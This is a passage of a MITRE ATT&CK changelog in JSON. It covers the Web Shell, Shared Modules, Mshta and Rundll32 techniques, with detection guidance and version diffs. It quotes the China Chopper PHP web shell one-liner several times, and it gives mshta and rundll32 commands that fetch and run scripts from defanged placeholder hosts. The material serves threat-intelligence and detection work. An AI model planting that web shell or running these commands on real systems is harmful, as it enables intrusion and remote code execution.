Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-12-13 16:46:18.927000+00:00", "modified": "2021-07-26 13:46:47.993000+00:00", "name": "Web Shell", "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1505/003", "external_id": "T1505.003" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/650.html", "external_id": "CAPEC-650" }, { "source_name": "Lee 2013", "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" }, { "source_name": "NSA Cyber Mitigating Web Shells", "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.", "url": "https://github.com/nsacyber/Mitigating-Web-Shells" }, { "source_name": "US-CERT Alert TA15-314A Web Shells", "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Arnim Rupp, Deutsche Lufthansa AG" ], "x_mitre_data_sources": [ "File: File Creation", "File: File Modification", "Process: Process Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Application Log: Application Log Content" ], "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<?php @eval($_POST['password']);>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "SYSTEM", "User" ], "x_mitre_platforms": [ "Linux", "Windows", "macOS" ], "x_mitre_system_requirements": [ "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file." ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Arnim Rupp, Deutsche Lufthansa AG\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-26 13:46:47.993000+00:00\", \"old_value\": \"2020-09-16 19:34:19.752000+00:00\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"NSA Cyber Mitigating Web Shells\", \"old_value\": \"US-CERT Alert TA15-314A Web Shells\"}, \"root['external_references'][3]['description']\": {\"new_value\": \" NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.\", \"old_value\": \"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://github.com/nsacyber/Mitigating-Web-Shells\", \"old_value\": \"https://www.us-cert.gov/ncas/alerts/TA15-314A\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \\n\\n<?php @eval($_POST['password']);>\\n\\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\\n\\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\\n\\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\", \"old_value\": \"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \\n\\n<?php @eval($_POST['password']);>\\n\\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) \", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,8 @@\\n \\n <?php @eval($_POST['password']);>\\n \\n-Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) \\n+Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\\n+\\n+File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\\n+\\n+Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"US-CERT Alert TA15-314A Web Shells\", \"description\": \"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.\", \"url\": \"https://www.us-cert.gov/ncas/alerts/TA15-314A\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [], "new": [ "M1018: User Account Management", "M1042: Disable or Remove Feature or Program" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0015: Application Log (Application Log Content)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:40.542000+00:00", "modified": "2021-10-15 13:48:02.963000+00:00", "name": "Shared Modules", "description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1129", "external_id": "T1129" }, { "source_name": "Wikipedia Windows Library Files", "description": "Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.", "url": "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Stefan Kanthak" ], "x_mitre_data_sources": [ "Process: OS API Execution", "Module: Module Load" ], "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 13:48:02.963000+00:00\", \"old_value\": \"2020-03-28 18:14:36.980000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\\n\\nThe module loader can load DLLs:\\n\\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\\n \\n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\\n \\n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\\n \\n* via <file name=\\\"filename.extension\\\" loadFrom=\\\"fully-qualified or relative pathname\\\"> in an embedded or external \\\"application manifest\\\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\\n\\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.\", \"old_value\": \"Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\\n\\nThe module loader can load DLLs:\\n\\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\\n \\n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\\n \\n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\\n \\n* via <file name=\\\"filename.extension\\\" loadFrom=\\\"fully-qualified or relative pathname\\\"> in an embedded or external \\\"application manifest\\\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\\n\\nAdversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\\n+Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\\n \\n The module loader can load DLLs:\\n \\n@@ -10,4 +10,4 @@\\n \\n * via <file name=\\\"filename.extension\\\" loadFrom=\\\"fully-qualified or relative pathname\\\"> in an embedded or external \\\"application manifest\\\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\\n \\n-Adversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features.\\n+Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse shared modules to execute malicious pat1Adversaries may execute malicious payloads via loading share
>yloads. The Windows module loader can be instructed to load >d modules. The Windows module loader can be instructed to lo
>DLLs from arbitrary local paths and arbitrary Universal Nami>ad DLLs from arbitrary local paths and arbitrary Universal N
>ng Convention (UNC) network paths. This functionality reside>aming Convention (UNC) network paths. This functionality res
>s in NTDLL.dll and is part of the Windows [Native API](https>ides in NTDLL.dll and is part of the Windows [Native API](ht
>://attack.mitre.org/techniques/T1106) which is called from f>tps://attack.mitre.org/techniques/T1106) which is called fro
>unctions like <code>CreateProcess</code>, <code>LoadLibrary<>m functions like <code>CreateProcess</code>, <code>LoadLibra
>/code>, etc. of the Win32 API. (Citation: Wikipedia Windows >ry</code>, etc. of the Win32 API. (Citation: Wikipedia Windo
>Library Files)  The module loader can load DLLs:  * via spec>ws Library Files)  The module loader can load DLLs:  * via s
>ification of the (fully-qualified or relative) DLL pathname >pecification of the (fully-qualified or relative) DLL pathna
>in the IMPORT directory;      * via EXPORT forwarded to anot>me in the IMPORT directory;      * via EXPORT forwarded to a
>her DLL, specified with (fully-qualified or relative) pathna>nother DLL, specified with (fully-qualified or relative) pat
>me (but without extension);      * via an NTFS junction or s>hname (but without extension);      * via an NTFS junction o
>ymlink program.exe.local with the fully-qualified or relativ>r symlink program.exe.local with the fully-qualified or rela
>e pathname of a directory containing the DLLs specified in t>tive pathname of a directory containing the DLLs specified i
>he IMPORT directory or forwarded EXPORTs;      * via <code>&>n the IMPORT directory or forwarded EXPORTs;      * via <cod
>#x3c;file name=\"filename.extension\" loadFrom=\"fully-qualifie>e>&#x3c;file name=\"filename.extension\" loadFrom=\"fully-quali
>d or relative pathname\"&#x3e;</code> in an embedded or exter>fied or relative pathname\"&#x3e;</code> in an embedded or ex
>nal \"application manifest\". The file name refers to an entry>ternal \"application manifest\". The file name refers to an en
> in the IMPORT directory or a forwarded EXPORT.  Adversaries>try in the IMPORT directory or a forwarded EXPORT.  Adversar
> may use this functionality as a way to execute arbitrary co>ies may use this functionality as a way to execute arbitrary
>de on a victim system. For example, malware may execute shar> payloads on a victim system. For example, malware may execu
>e modules to load additional components or features.>te share modules to load additional components or features.
", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention", "T1129: Execution through Module Load Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0011: Module (Module Load)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-23 19:32:49.557000+00:00", "modified": "2021-10-15 23:59:00.395000+00:00", "name": "Mshta", "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/005", "external_id": "T1218.005" }, { "source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" }, { "source_name": "Red Canary HTA Abuse Part Deux", "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.", "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" }, { "source_name": "FireEye Attacks Leveraging HTA", "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html" }, { "source_name": "Airbus Security Kovter Analysis", "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/" }, { "source_name": "FireEye FIN7 April 2017", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" }, { "source_name": "Wikipedia HTML Application", "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.", "url": "https://en.wikipedia.org/wiki/HTML_Application" }, { "source_name": "MSDN HTML Applications", "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.", "url": "https://msdn.microsoft.com/library/ms536471.aspx" }, { "source_name": "LOLBAS Mshta", "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.", "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "@ionstorm", "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", "Ricardo Dias" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Creation", "Command: Command Execution", "Network Traffic: Network Connection Creation" ], "x_mitre_defense_bypassed": [ "Application control", "Digital Certificate Validation" ], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 23:59:00.395000+00:00\", \"old_value\": \"2020-12-30 14:29:06.462000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][0]\": \"@ionstorm\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention", "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-23 18:03:46.248000+00:00", "modified": "2021-10-14 21:45:53.057000+00:00", "name": "Rundll32", "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/011", "external_id": "T1218.011" }, { "source_name": "Trend Micro CPL", "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" }, { "source_name": "This is Security Command Line Confusion", "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.", "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/" }, { "source_name": "Attackify Rundll32.exe Obscurity", "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.", "url": "https://www.attackify.com/blog/rundll32_execution_order/" }, { "source_name": "Github NoRunDll", "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.", "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Gareth Phillips, Seek Ltd.", "Casey Smith", "Ricardo Dias" ], "x_mitre_data_sources": [ "File: File Metadata", "Process: Process Creation", "Command: Command Execution", "Module: Module Load" ], "x_mitre_defense_bypassed": [ "Digital Certificate Validation", "Application control", "Anti-virus" ], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 21:45:53.057000+00:00\", \"old_value\": \"2021-01-20 18:12:11.843000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)\", \"old_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,7 @@\\n-Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.\\n+Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n \\n Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\\n \\n Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n+\\n+Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\\n\\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of 